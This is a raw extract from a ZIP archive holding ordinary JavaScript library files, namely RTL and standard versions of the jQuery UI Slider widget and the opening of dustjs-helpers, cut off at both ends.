20px;PK�v�[��ā0�0%assets/js/jquery.ui.slider-rtl.min.jsnu�[���/*
 * jQuery UI Slider 1.8.9.rtl.1
 *
 * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * http://docs.jquery.com/UI/Slider
 *
 * Depends:
 *	jquery.ui.core.js
 *	jquery.ui.mouse.js
 *	jquery.ui.widget.js
 */
(function($,g){var
h=5;$.widget("ui.slider",$.ui.mouse,{widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",isRTL:false,range:false,step:1,value:0,values:null},_create:function(){var
f=this,o=this.options;this._keySliding=false;this._mouseSliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider"+"
ui-slider-"+this.orientation+(o.isRTL?"
ui-slider-rtl":"")+" ui-widget"+"
ui-widget-content"+"
ui-corner-all");if(o.disabled){this.element.addClass("ui-slider-disabled
ui-disabled")}this.range=$([]);if(o.range){if(o.range===true){this.range=$("<div></div>");if(!o.values){o.values=[this._valueMin(),this._valueMin()]}if(o.values.length&&o.values.length!==2){o.values=[o.values[0],o.values[0]]}}else{this.range=$("<div></div>")}this.range.appendTo(this.element).addClass("ui-slider-range");if(o.range==="min"||o.range==="max"){this.range.addClass("ui-slider-range-"+o.range)}this.range.addClass("ui-widget-header")}if($(".ui-slider-handle",this.element).length===0){$("<a
href='#'></a>").appendTo(this.element).addClass("ui-slider-handle")}if(o.values&&o.values.length){while($(".ui-slider-handle",this.element).length<o.values.length){$("<a
href='#'></a>").appendTo(this.element).addClass("ui-slider-handle")}}this.handles=$(".ui-slider-handle",this.element).addClass("ui-state-default"+"
ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(a){a.preventDefault()}).hover(function(){if(!o.disabled){$(this).addClass("ui-state-hover")}},function(){$(this).removeClass("ui-state-hover")}).focus(function(){if(!o.disabled){$(".ui-slider
.ui-state-focus").removeClass("ui-state-focus");$(this).addClass("ui-state-focus")}else{$(this).blur()}}).blur(function(){$(this).removeClass("ui-state-focus")});this.handles.each(function(i){$(this).data("index.ui-slider-handle",i)});this.handles.keydown(function(c){var
d=true,index=$(this).data("index.ui-slider-handle"),allowed,curVal,newVal,step;if(f.options.disabled){return}switch(c.keyCode){case
$.ui.keyCode.HOME:case $.ui.keyCode.END:case $.ui.keyCode.PAGE_UP:case
$.ui.keyCode.PAGE_DOWN:case $.ui.keyCode.UP:case $.ui.keyCode.RIGHT:case
$.ui.keyCode.DOWN:case
$.ui.keyCode.LEFT:d=false;if(!f._keySliding){f._keySliding=true;$(this).addClass("ui-state-active");allowed=f._start(c,index);if(allowed===false){return}}break}step=f.options.step;if(f.options.values&&f.options.values.length){curVal=newVal=f.values(index)}else{curVal=newVal=f.value()}var
e=function(a,b){if(curVal===a){return}newVal=f._trimAlignValue(curVal+b)};switch(c.keyCode){case
$.ui.keyCode.HOME:newVal=f._valueMin();break;case
$.ui.keyCode.END:newVal=f._valueMax();break;case
$.ui.keyCode.PAGE_UP:newVal=f._trimAlignValue(curVal+((f._valueMax()-f._valueMin())/h));break;case
$.ui.keyCode.PAGE_DOWN:newVal=f._trimAlignValue(curVal-((f._valueMax()-f._valueMin())/h));break;case
$.ui.keyCode.UP:e(f._valueMax(),step);break;case
$.ui.keyCode.RIGHT:e(f._valueMax(),f.options.isRTL?-step:step);break;case
$.ui.keyCode.DOWN:e(f._valueMin(),-step);break;case
$.ui.keyCode.LEFT:e(f._valueMin(),f.options.isRTL?step:-step);break}f._slide(c,index,newVal);return
d}).keyup(function(a){var
b=$(this).data("index.ui-slider-handle");if(f._keySliding){f._keySliding=false;f._stop(a,b);f._change(a,b);$(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider"+"
ui-slider-horizontal"+" ui-slider-vertical"+"
ui-slider-disabled"+" ui-widget"+"
ui-widget-content"+"
ui-corner-all").removeData("slider").unbind(".slider");this._mouseDestroy();return
this},_mouseCapture:function(b){var
o=this.options,position,normValue,distance,closestHandle,self,index,allowed,offset,mouseOverHandle;if(o.disabled){return
false}this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();position={x:b.pageX,y:b.pageY};normValue=this._normValueFromMouse(position);distance=this._valueMax()-this._valueMin()+1;self=this;this.handles.each(function(i){var
a=Math.abs(normValue-self.values(i));if(distance>a){distance=a;closestHandle=$(this);index=i}});if(o.range===true&&this.values(1)===o.min){index+=1;closestHandle=$(this.handles[index])}allowed=this._start(b,index);if(allowed===false){return
false}this._mouseSliding=true;self._handleIndex=index;closestHandle.addClass("ui-state-active").focus();offset=closestHandle.offset();mouseOverHandle=!$(b.target).parents().andSelf().is(".ui-slider-handle");this._clickOffset=mouseOverHandle?{left:0,top:0}:{left:b.pageX-offset.left-(closestHandle.width()/2),top:b.pageY-offset.top-(closestHandle.height()/2)-(parseInt(closestHandle.css("borderTopWidth"),10)||0)-(parseInt(closestHandle.css("borderBottomWidth"),10)||0)+(parseInt(closestHandle.css("marginTop"),10)||0)};if(!this.handles.hasClass("ui-state-hover")){this._slide(b,index,normValue)}this._animateOff=true;return
true},_mouseStart:function(a){return true},_mouseDrag:function(a){var
b={x:a.pageX,y:a.pageY},normValue=this._normValueFromMouse(b);this._slide(a,this._handleIndex,normValue);return
false},_mouseStop:function(a){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(a,this._handleIndex);this._change(a,this._handleIndex);this._handleIndex=null;this._clickOffset=null;this._animateOff=false;return
false},_detectOrientation:function(){this.orientation=(this.options.orientation==="vertical")?"vertical":"horizontal"},_normValueFromMouse:function(a){var
b,pixelMouse,percentMouse,valueTotal,valueMouse;if(this.orientation==="horizontal"){b=this.elementSize.width;pixelMouse=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{b=this.elementSize.height;pixelMouse=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}percentMouse=(pixelMouse/b);if(percentMouse>1){percentMouse=1}if(percentMouse<0){percentMouse=0}if(this.orientation==="vertical"){percentMouse=1-percentMouse}if(this.options.isRTL){percentMouse=1-percentMouse}valueTotal=this._valueMax()-this._valueMin();valueMouse=this._valueMin()+percentMouse*valueTotal;return
this._trimAlignValue(valueMouse)},_start:function(a,b){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}return
this._trigger("start",a,c)},_slide:function(a,b,c){var
d,newValues,allowed;if(this.options.values&&this.options.values.length){d=this.values(b?0:1);if((this.options.values.length===2&&this.options.range===true)&&((b===0&&c>d)||(b===1&&c<d))){c=d}if(c!==this.values(b)){newValues=this.values();newValues[b]=c;allowed=this._trigger("slide",a,{handle:this.handles[b],value:c,values:newValues});d=this.values(b?0:1);if(allowed!==false){this.values(b,c,true)}}}else{if(c!==this.value()){allowed=this._trigger("slide",a,{handle:this.handles[b],value:c});if(allowed!==false){this.value(c)}}}},_stop:function(a,b){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}this._trigger("stop",a,c)},_change:function(a,b){if(!this._keySliding&&!this._mouseSliding){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}this._trigger("change",a,c)}},value:function(a){if(arguments.length){this.options.value=this._trimAlignValue(a);this._refreshValue();this._change(null,0)}return
this._value()},values:function(a,b){var
c,newValues,i;if(arguments.length>1){this.options.values[a]=this._trimAlignValue(b);this._refreshValue();this._change(null,a)}if(arguments.length){if($.isArray(arguments[0])){c=this.options.values;newValues=arguments[0];for(i=0;i<c.length;i+=1){c[i]=this._trimAlignValue(newValues[i]);this._change(null,i)}this._refreshValue()}else{if(this.options.values&&this.options.values.length){return
this._values(a)}else{return this.value()}}}else{return
this._values()}},_setOption:function(a,b){var
i,valsLength=0;if($.isArray(this.options.values)){valsLength=this.options.values.length}$.Widget.prototype._setOption.apply(this,arguments);switch(a){case"disabled":if(b){this.handles.filter(".ui-state-focus").blur();this.handles.removeClass("ui-state-hover");this.handles.attr("disabled","disabled");this.element.addClass("ui-disabled")}else{this.handles.removeAttr("disabled");this.element.removeClass("ui-disabled")}break;case"orientation":this._detectOrientation();this.element.removeClass("ui-slider-horizontal
ui-slider-vertical").addClass("ui-slider-"+this.orientation);this._refreshValue();break;case"isRTL":this.element.toggleClass("ui-slider-rtl",b);this._refreshValue();break;case"value":this._animateOff=true;this._refreshValue();this._change(null,0);this._animateOff=false;break;case"values":this._animateOff=true;this._refreshValue();for(i=0;i<valsLength;i+=1){this._change(null,i)}this._animateOff=false;break}},_value:function(){var
a=this.options.value;a=this._trimAlignValue(a);return
a},_values:function(a){var
b,vals,i;if(arguments.length){b=this.options.values[a];b=this._trimAlignValue(b);return
b}else{vals=this.options.values.slice();for(i=0;i<vals.length;i+=1){vals[i]=this._trimAlignValue(vals[i])}return
vals}},_trimAlignValue:function(a){if(a<=this._valueMin()){return
this._valueMin()}if(a>=this._valueMax()){return this._valueMax()}var
b=(this.options.step>0)?this.options.step:1,valModStep=(a-this._valueMin())%b;alignValue=a-valModStep;if(Math.abs(valModStep)*2>=b){alignValue+=(valModStep>0)?b:(-b)}return
parseFloat(alignValue.toFixed(5))},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.options.max},_refreshValue:function(){var
a=this.options.range,o=this.options,self=this,animate=(!this._animateOff)?o.animate:false,valPercent,_set={},lastValPercent,value,valueMin,valueMax;if(this.options.values&&this.options.values.length){this.handles.each(function(i,j){valPercent=(self.values(i)-self._valueMin())/(self._valueMax()-self._valueMin())*100;valPercent=(self.options.isRTL?100-valPercent:valPercent);_set[self.orientation==="horizontal"?"left":"bottom"]=valPercent+"%";$(this).stop(1,1)[animate?"animate":"css"](_set,o.animate);if(self.options.range===true){if(self.orientation==="horizontal"){if(i===0){self.range.stop(1,1)[animate?"animate":"css"](self.options.isRTL?{right:(100-valPercent)+"%"}:{left:valPercent+"%"},o.animate)}if(i===1){self.range[animate?"animate":"css"]({width:((self.options.isRTL?-1:+1)*(valPercent-lastValPercent))+"%"},{queue:false,duration:o.animate})}}else{if(i===0){self.range.stop(1,1)[animate?"animate":"css"](self.options.isRTL?{top:(100-valPercent)+"%"}:{bottom:(valPercent)+"%"},o.animate)}if(i===1){self.range[animate?"animate":"css"]({height:((self.options.isRTL?-1:+1)*(valPercent-lastValPercent))+"%"},{queue:false,duration:o.animate})}}}lastValPercent=valPercent})}else{value=this.value();valueMin=this._valueMin();valueMax=this._valueMax();valPercent=(valueMax!==valueMin)?(value-valueMin)/(valueMax-valueMin)*100:0;valPercent=(self.options.isRTL?100-valPercent:valPercent);_set[self.orientation==="horizontal"?"left":"bottom"]=valPercent+"%";this.handle.stop(1,1)[animate?"animate":"css"](_set,o.animate);if(a==="min"&&this.orientation==="horizontal"){this.range.stop(1,1)[animate?"animate":"css"]({width:(self.options.isRTL?100-valPercent:valPercent)+"%"},o.animate)}if(a==="max"&&this.orientation==="horizontal"){this.range[animate?"animate":"css"]({width:(self.options.isRTL?valPercent:100-valPercent)+"%"},{queue:false,duration:o.animate})}if(a==="min"&&this.orientation==="vertical"){this.range.stop(1,1)[animate?"animate":"css"]({height:(self.options.isRTL?100-valPercent:valPercent)+"%"},o.animate)}if(a==="max"&&this.orientation==="vertical"){this.range[animate?"animate":"css"]({height:(self.options.isRTL?valPercent:100-valPercent)+"%"},{queue:false,duration:o.animate})}}}});$.extend($.ui.slider,{version:"1.8.9"})}(jQuery));PK�v�[���C�Cassets/js/jquery.ui.slider.jsnu�[���(function(
$, undefined ) {

// number of pages in a slider
// (how many times can you page up/down to go through the whole range)
var numPages = 5;

$.widget( "ui.slider", $.ui.mouse, {

	/*JA: use slidez instead of slide to resolve conflict of slider between
jquery and mootools*/
	widgetEventPrefix: "slidez",

	options: {
		animate: false,
		distance: 0,
		max: 100,
		min: 0,
		orientation: "horizontal",
		range: false,
		step: 1,
		value: 0,
		values: null
	},

	_create: function() {
		var self = this,
			o = this.options,
			existingHandles = this.element.find( ".ui-slider-handle"
).addClass( "ui-state-default ui-corner-all" ),
			handle = "<a class='ui-slider-handle ui-state-default
ui-corner-all' href='#'></a>",
			handleCount = ( o.values && o.values.length ) || 1,
			handles = [];

		this._keySliding = false;
		this._mouseSliding = false;
		this._animateOff = true;
		this._handleIndex = null;
		this._detectOrientation();
		this._mouseInit();

		this.element
			.addClass( "ui-slider" +
				" ui-slider-" + this.orientation +
				" ui-widget" +
				" ui-widget-content" +
				" ui-corner-all" +
				( o.disabled ? " ui-slider-disabled ui-disabled" :
"" ) );

		this.range = $([]);

		if ( o.range ) {
			if ( o.range === true ) {
				if ( !o.values ) {
					o.values = [ this._valueMin(), this._valueMin() ];
				}
				if ( o.values.length && o.values.length !== 2 ) {
					o.values = [ o.values[0], o.values[0] ];
				}
			}

			this.range = $( "<div></div>" )
				.appendTo( this.element )
				.addClass( "ui-slider-range" +
				// note: this isn't the most fittingly semantic framework class
for this element,
				// but worked best visually with a variety of themes
				" ui-widget-header" + 
				( ( o.range === "min" || o.range === "max" ) ?
" ui-slider-range-" + o.range : "" ) );
		}

		for ( var i = existingHandles.length; i < handleCount; i += 1 ) {
			handles.push( handle );
		}

		this.handles = existingHandles.add( $( handles.join( "" )
).appendTo( self.element ) );

		this.handle = this.handles.eq( 0 );

		this.handles.add( this.range ).filter( "a" )
			.click(function( event ) {
				event.preventDefault();
			})
			.hover(function() {
				if ( !o.disabled ) {
					$( this ).addClass( "ui-state-hover" );
				}
			}, function() {
				$( this ).removeClass( "ui-state-hover" );
			})
			.focus(function() {
				if ( !o.disabled ) {
					$( ".ui-slider .ui-state-focus" ).removeClass(
"ui-state-focus" );
					$( this ).addClass( "ui-state-focus" );
				} else {
					$( this ).blur();
				}
			})
			.blur(function() {
				$( this ).removeClass( "ui-state-focus" );
			});

		this.handles.each(function( i ) {
			$( this ).data( "index.ui-slider-handle", i );
		});

		this.handles
			.keydown(function( event ) {
				var index = $( this ).data( "index.ui-slider-handle" ),
					allowed,
					curVal,
					newVal,
					step;
	
				if ( self.options.disabled ) {
					return;
				}
	
				switch ( event.keyCode ) {
					case $.ui.keyCode.HOME:
					case $.ui.keyCode.END:
					case $.ui.keyCode.PAGE_UP:
					case $.ui.keyCode.PAGE_DOWN:
					case $.ui.keyCode.UP:
					case $.ui.keyCode.RIGHT:
					case $.ui.keyCode.DOWN:
					case $.ui.keyCode.LEFT:
						event.preventDefault();
						if ( !self._keySliding ) {
							self._keySliding = true;
							$( this ).addClass( "ui-state-active" );
							allowed = self._start( event, index );
							if ( allowed === false ) {
								return;
							}
						}
						break;
				}
	
				step = self.options.step;
				if ( self.options.values && self.options.values.length ) {
					curVal = newVal = self.values( index );
				} else {
					curVal = newVal = self.value();
				}
	
				switch ( event.keyCode ) {
					case $.ui.keyCode.HOME:
						newVal = self._valueMin();
						break;
					case $.ui.keyCode.END:
						newVal = self._valueMax();
						break;
					case $.ui.keyCode.PAGE_UP:
						newVal = self._trimAlignValue( curVal + ( (self._valueMax() -
self._valueMin()) / numPages ) );
						break;
					case $.ui.keyCode.PAGE_DOWN:
						newVal = self._trimAlignValue( curVal - ( (self._valueMax() -
self._valueMin()) / numPages ) );
						break;
					case $.ui.keyCode.UP:
					case $.ui.keyCode.RIGHT:
						if ( curVal === self._valueMax() ) {
							return;
						}
						newVal = self._trimAlignValue( curVal + step );
						break;
					case $.ui.keyCode.DOWN:
					case $.ui.keyCode.LEFT:
						if ( curVal === self._valueMin() ) {
							return;
						}
						newVal = self._trimAlignValue( curVal - step );
						break;
				}
	
				self._slide( event, index, newVal );
			})
			.keyup(function( event ) {
				var index = $( this ).data( "index.ui-slider-handle" );
	
				if ( self._keySliding ) {
					self._keySliding = false;
					self._stop( event, index );
					self._change( event, index );
					$( this ).removeClass( "ui-state-active" );
				}
	
			});

		this._refreshValue();

		this._animateOff = false;
	},

	destroy: function() {
		this.handles.remove();
		this.range.remove();

		this.element
			.removeClass( "ui-slider" +
				" ui-slider-horizontal" +
				" ui-slider-vertical" +
				" ui-slider-disabled" +
				" ui-widget" +
				" ui-widget-content" +
				" ui-corner-all" )
			.removeData( "slider" )
			.unbind( ".slider" );

		this._mouseDestroy();

		return this;
	},

	_mouseCapture: function( event ) {
		var o = this.options,
			position,
			normValue,
			distance,
			closestHandle,
			self,
			index,
			allowed,
			offset,
			mouseOverHandle;

		if ( o.disabled ) {
			return false;
		}

		this.elementSize = {
			width: this.element.outerWidth(),
			height: this.element.outerHeight()
		};
		this.elementOffset = this.element.offset();

		position = { x: event.pageX, y: event.pageY };
		normValue = this._normValueFromMouse( position );
		distance = this._valueMax() - this._valueMin() + 1;
		self = this;
		this.handles.each(function( i ) {
			var thisDistance = Math.abs( normValue - self.values(i) );
			if ( distance > thisDistance ) {
				distance = thisDistance;
				closestHandle = $( this );
				index = i;
			}
		});

		// workaround for bug #3736 (if both handles of a range are at 0,
		// the first is always used as the one with least distance,
		// and moving it is obviously prevented by preventing negative ranges)
		if( o.range === true && this.values(1) === o.min ) {
			index += 1;
			closestHandle = $( this.handles[index] );
		}

		allowed = this._start( event, index );
		if ( allowed === false ) {
			return false;
		}
		this._mouseSliding = true;

		self._handleIndex = index;

		closestHandle
			.addClass( "ui-state-active" )
			.focus();
		
		offset = closestHandle.offset();
		mouseOverHandle = !$( event.target ).parents().andSelf().is(
".ui-slider-handle" );
		this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
			left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
			top: event.pageY - offset.top -
				( closestHandle.height() / 2 ) -
				( parseInt( closestHandle.css("borderTopWidth"), 10 ) || 0 )
-
				( parseInt( closestHandle.css("borderBottomWidth"), 10 ) ||
0) +
				( parseInt( closestHandle.css("marginTop"), 10 ) || 0)
		};

		if ( !this.handles.hasClass( "ui-state-hover" ) ) {
			this._slide( event, index, normValue );
		}
		this._animateOff = true;
		return true;
	},

	_mouseStart: function( event ) {
		return true;
	},

	_mouseDrag: function( event ) {
		var position = { x: event.pageX, y: event.pageY },
			normValue = this._normValueFromMouse( position );
		
		this._slide( event, this._handleIndex, normValue );

		return false;
	},

	_mouseStop: function( event ) {
		this.handles.removeClass( "ui-state-active" );
		this._mouseSliding = false;

		this._stop( event, this._handleIndex );
		this._change( event, this._handleIndex );

		this._handleIndex = null;
		this._clickOffset = null;
		this._animateOff = false;

		return false;
	},
	
	_detectOrientation: function() {
		this.orientation = ( this.options.orientation === "vertical" )
? "vertical" : "horizontal";
	},

	_normValueFromMouse: function( position ) {
		var pixelTotal,
			pixelMouse,
			percentMouse,
			valueTotal,
			valueMouse;

		if ( this.orientation === "horizontal" ) {
			pixelTotal = this.elementSize.width;
			pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset
? this._clickOffset.left : 0 );
		} else {
			pixelTotal = this.elementSize.height;
			pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ?
this._clickOffset.top : 0 );
		}

		percentMouse = ( pixelMouse / pixelTotal );
		if ( percentMouse > 1 ) {
			percentMouse = 1;
		}
		if ( percentMouse < 0 ) {
			percentMouse = 0;
		}
		if ( this.orientation === "vertical" ) {
			percentMouse = 1 - percentMouse;
		}

		valueTotal = this._valueMax() - this._valueMin();
		valueMouse = this._valueMin() + percentMouse * valueTotal;

		return this._trimAlignValue( valueMouse );
	},

	_start: function( event, index ) {
		var uiHash = {
			handle: this.handles[ index ],
			value: this.value()
		};
		if ( this.options.values && this.options.values.length ) {
			uiHash.value = this.values( index );
			uiHash.values = this.values();
		}
		return this._trigger( "start", event, uiHash );
	},

	_slide: function( event, index, newVal ) {
		var otherVal,
			newValues,
			allowed;

		if ( this.options.values && this.options.values.length ) {
			otherVal = this.values( index ? 0 : 1 );

			if ( ( this.options.values.length === 2 && this.options.range
=== true ) && 
					( ( index === 0 && newVal > otherVal) || ( index === 1
&& newVal < otherVal ) )
				) {
				newVal = otherVal;
			}

			if ( newVal !== this.values( index ) ) {
				newValues = this.values();
				newValues[ index ] = newVal;
				// A slide can be canceled by returning false from the slide callback
				allowed = this._trigger( "slide", event, {
					handle: this.handles[ index ],
					value: newVal,
					values: newValues
				} );
				otherVal = this.values( index ? 0 : 1 );
				if ( allowed !== false ) {
					this.values( index, newVal, true );
				}
			}
		} else {
			if ( newVal !== this.value() ) {
				// A slide can be canceled by returning false from the slide callback
				allowed = this._trigger( "slide", event, {
					handle: this.handles[ index ],
					value: newVal
				} );
				if ( allowed !== false ) {
					this.value( newVal );
				}
			}
		}
	},

	_stop: function( event, index ) {
		var uiHash = {
			handle: this.handles[ index ],
			value: this.value()
		};
		if ( this.options.values && this.options.values.length ) {
			uiHash.value = this.values( index );
			uiHash.values = this.values();
		}

		this._trigger( "stop", event, uiHash );
	},

	_change: function( event, index ) {
		if ( !this._keySliding && !this._mouseSliding ) {
			var uiHash = {
				handle: this.handles[ index ],
				value: this.value()
			};
			if ( this.options.values && this.options.values.length ) {
				uiHash.value = this.values( index );
				uiHash.values = this.values();
			}

			this._trigger( "change", event, uiHash );
		}
	},

	value: function( newValue ) {
		if ( arguments.length ) {
			this.options.value = this._trimAlignValue( newValue );
			this._refreshValue();
			this._change( null, 0 );
			return;
		}

		return this._value();
	},

	values: function( index, newValue ) {
		var vals,
			newValues,
			i;

		if ( arguments.length > 1 ) {
			this.options.values[ index ] = this._trimAlignValue( newValue );
			this._refreshValue();
			this._change( null, index );
			return;
		}

		if ( arguments.length ) {
			if ( $.isArray( arguments[ 0 ] ) ) {
				vals = this.options.values;
				newValues = arguments[ 0 ];
				for ( i = 0; i < vals.length; i += 1 ) {
					vals[ i ] = this._trimAlignValue( newValues[ i ] );
					this._change( null, i );
				}
				this._refreshValue();
			} else {
				if ( this.options.values && this.options.values.length ) {
					return this._values( index );
				} else {
					return this.value();
				}
			}
		} else {
			return this._values();
		}
	},

	_setOption: function( key, value ) {
		var i,
			valsLength = 0;

		if ( $.isArray( this.options.values ) ) {
			valsLength = this.options.values.length;
		}

		$.Widget.prototype._setOption.apply( this, arguments );

		switch ( key ) {
			case "disabled":
				if ( value ) {
					this.handles.filter( ".ui-state-focus" ).blur();
					this.handles.removeClass( "ui-state-hover" );
					this.handles.propAttr( "disabled", true );
					this.element.addClass( "ui-disabled" );
				} else {
					this.handles.propAttr( "disabled", false );
					this.element.removeClass( "ui-disabled" );
				}
				break;
			case "orientation":
				this._detectOrientation();
				this.element
					.removeClass( "ui-slider-horizontal ui-slider-vertical" )
					.addClass( "ui-slider-" + this.orientation );
				this._refreshValue();
				break;
			case "value":
				this._animateOff = true;
				this._refreshValue();
				this._change( null, 0 );
				this._animateOff = false;
				break;
			case "values":
				this._animateOff = true;
				this._refreshValue();
				for ( i = 0; i < valsLength; i += 1 ) {
					this._change( null, i );
				}
				this._animateOff = false;
				break;
		}
	},

	//internal value getter
	// _value() returns value trimmed by min and max, aligned by step
	_value: function() {
		var val = this.options.value;
		val = this._trimAlignValue( val );

		return val;
	},

	//internal values getter
	// _values() returns array of values trimmed by min and max, aligned by
step
	// _values( index ) returns single value trimmed by min and max, aligned
by step
	_values: function( index ) {
		var val,
			vals,
			i;

		if ( arguments.length ) {
			val = this.options.values[ index ];
			val = this._trimAlignValue( val );

			return val;
		} else {
			// .slice() creates a copy of the array
			// this copy gets trimmed by min and max and then returned
			vals = this.options.values.slice();
			for ( i = 0; i < vals.length; i+= 1) {
				vals[ i ] = this._trimAlignValue( vals[ i ] );
			}

			return vals;
		}
	},
	
	// returns the step-aligned value that val is closest to, between
(inclusive) min and max
	_trimAlignValue: function( val ) {
		if ( val <= this._valueMin() ) {
			return this._valueMin();
		}
		if ( val >= this._valueMax() ) {
			return this._valueMax();
		}
		var step = ( this.options.step > 0 ) ? this.options.step : 1,
			valModStep = (val - this._valueMin()) % step,
			alignValue = val - valModStep;

		if ( Math.abs(valModStep) * 2 >= step ) {
			alignValue += ( valModStep > 0 ) ? step : ( -step );
		}

		// Since JavaScript has problems with large floats, round
		// the final value to 5 digits after the decimal point (see #4124)
		return parseFloat( alignValue.toFixed(5) );
	},

	_valueMin: function() {
		return this.options.min;
	},

	_valueMax: function() {
		return this.options.max;
	},
	
	_refreshValue: function() {
		var oRange = this.options.range,
			o = this.options,
			self = this,
			animate = ( !this._animateOff ) ? o.animate : false,
			valPercent,
			_set = {},
			lastValPercent,
			value,
			valueMin,
			valueMax;

		if ( this.options.values && this.options.values.length ) {
			this.handles.each(function( i, j ) {
				valPercent = ( self.values(i) - self._valueMin() ) / ( self._valueMax()
- self._valueMin() ) * 100;
				_set[ self.orientation === "horizontal" ? "left" :
"bottom" ] = valPercent + "%";
				$( this ).stop( 1, 1 )[ animate ? "animate" : "css"
]( _set, o.animate );
				if ( self.options.range === true ) {
					if ( self.orientation === "horizontal" ) {
						if ( i === 0 ) {
							self.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { left: valPercent + "%" }, o.animate );
						}
						if ( i === 1 ) {
							self.range[ animate ? "animate" : "css" ]( {
width: ( valPercent - lastValPercent ) + "%" }, { queue: false,
duration: o.animate } );
						}
					} else {
						if ( i === 0 ) {
							self.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { bottom: ( valPercent ) + "%" }, o.animate );
						}
						if ( i === 1 ) {
							self.range[ animate ? "animate" : "css" ]( {
height: ( valPercent - lastValPercent ) + "%" }, { queue: false,
duration: o.animate } );
						}
					}
				}
				lastValPercent = valPercent;
			});
		} else {
			value = this.value();
			valueMin = this._valueMin();
			valueMax = this._valueMax();
			valPercent = ( valueMax !== valueMin ) ?
					( value - valueMin ) / ( valueMax - valueMin ) * 100 :
					0;
			_set[ self.orientation === "horizontal" ? "left" :
"bottom" ] = valPercent + "%";
			this.handle.stop( 1, 1 )[ animate ? "animate" :
"css" ]( _set, o.animate );

			if ( oRange === "min" && this.orientation ===
"horizontal" ) {
				this.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { width: valPercent + "%" }, o.animate );
			}
			if ( oRange === "max" && this.orientation ===
"horizontal" ) {
				this.range[ animate ? "animate" : "css" ]( { width:
( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate
} );
			}
			if ( oRange === "min" && this.orientation ===
"vertical" ) {
				this.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { height: valPercent + "%" }, o.animate );
			}
			if ( oRange === "max" && this.orientation ===
"vertical" ) {
				this.range[ animate ? "animate" : "css" ]( {
height: ( 100 - valPercent ) + "%" }, { queue: false, duration:
o.animate } );
			}
		}
	}

});

$.extend( $.ui.slider, {
	version: "1.8.23"
});

}(jQuery));PK�v�[7�2z1z1assets/js/dust-helpers.jsnu�[���/*!
dustjs-helpers - v1.7.3
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
(function(root, factory) {
  if (typeof define === 'function' && define.amd
&& define.amd.dust === true) {
    define(['dust.core'], factory);
  } else if (typeof exports === 'object') {
    module.exports = factory(require('dustjs-linkedin'));
  } else {
    factory(root.dust);
  }
}(this, function(dust) {

function log(helper, msg, level) {
  level = level || "INFO";
  helper = helper ? '{@' + helper + '}: ' :
'';
  dust.log(helper + msg, level);
}

var _deprecatedCache = {};
function _deprecated(target) {
  if(_deprecatedCache[target]) { return; }
  log(target, "Deprecation warning: " + target + " is
deprecated and will be removed in a future version of dustjs-helpers",
"WARN");
  log(null, "For help and a deprecation timeline, see
https://github.com/linkedin/dustjs-helpers/wiki/Deprecated-Features#"
+ target.replace(/\W+/g, ""), "WARN");
  _deprecatedCache[target] = true;
}

function isSelect(context) {
  return context.stack.tail &&
         context.stack.tail.head &&
         typeof context.stack.tail.head.__select__ !==
"undefined";
}

function getSelectState(context) {
  return isSelect(context) && context.get('__select__');
}

/**
 * Adds a special __select__ key behind the head of the context stack. Used
to maintain the state
 * of {@select} blocks
 * @param context {Context} add state to this Context
 * @param opts {Object} add these properties to the state (`key` and
`type`)
 */
function addSelectState(context, opts) {
  var head = context.stack.head,
      newContext = context.rebase(),
      key;

  if(context.stack && context.stack.tail) {
    newContext.stack = context.stack.tail;
  }

  var state = {
    isPending: false,
    isResolved: false,
    isDeferredComplete: false,
    deferreds: []
  };

  for(key in opts) {
    state[key] = opts[key];
  }

  return newContext
  .push({ "__select__": state })
  .push(head, context.stack.index, context.stack.of);
}

/**
 * After a {@select} or {@math} block is complete, they invoke this
function
 */
function resolveSelectDeferreds(state) {
  var x, len;
  state.isDeferredPending = true;
  if(state.deferreds.length) {
    state.isDeferredComplete = true;
    for(x=0, len=state.deferreds.length; x<len; x++) {
      state.deferreds[x]();
    }
  }
  state.isDeferredPending = false;
}

/**
 * Used by {@contextDump}
 */
function jsonFilter(key, value) {
  if (typeof value === "function") {
    return value.toString()
      .replace(/(^\s+|\s+$)/mg, '')
      .replace(/\n/mg, '')
      .replace(/,\s*/mg, ', ')
      .replace(/\)\{/mg, ') {');
  }
  return value;
}

/**
 * Generate a truth test helper
 */
function truthTest(name, test) {
  return function(chunk, context, bodies, params) {
    return filter(chunk, context, bodies, params, name, test);
  };
}

/**
 * This function is invoked by truth test helpers
 */
function filter(chunk, context, bodies, params, helperName, test) {
  var body = bodies.block,
      skip = bodies['else'],
      selectState = getSelectState(context) || {},
      willResolve, key, value, type;

  // Once one truth test in a select passes, short-circuit the rest of the
tests
  if (selectState.isResolved && !selectState.isDeferredPending) {
    return chunk;
  }

  // First check for a key on the helper itself, then look for a key on the
{@select}
  if (params.hasOwnProperty('key')) {
    key = params.key;
  } else if (selectState.hasOwnProperty('key')) {
    key = selectState.key;
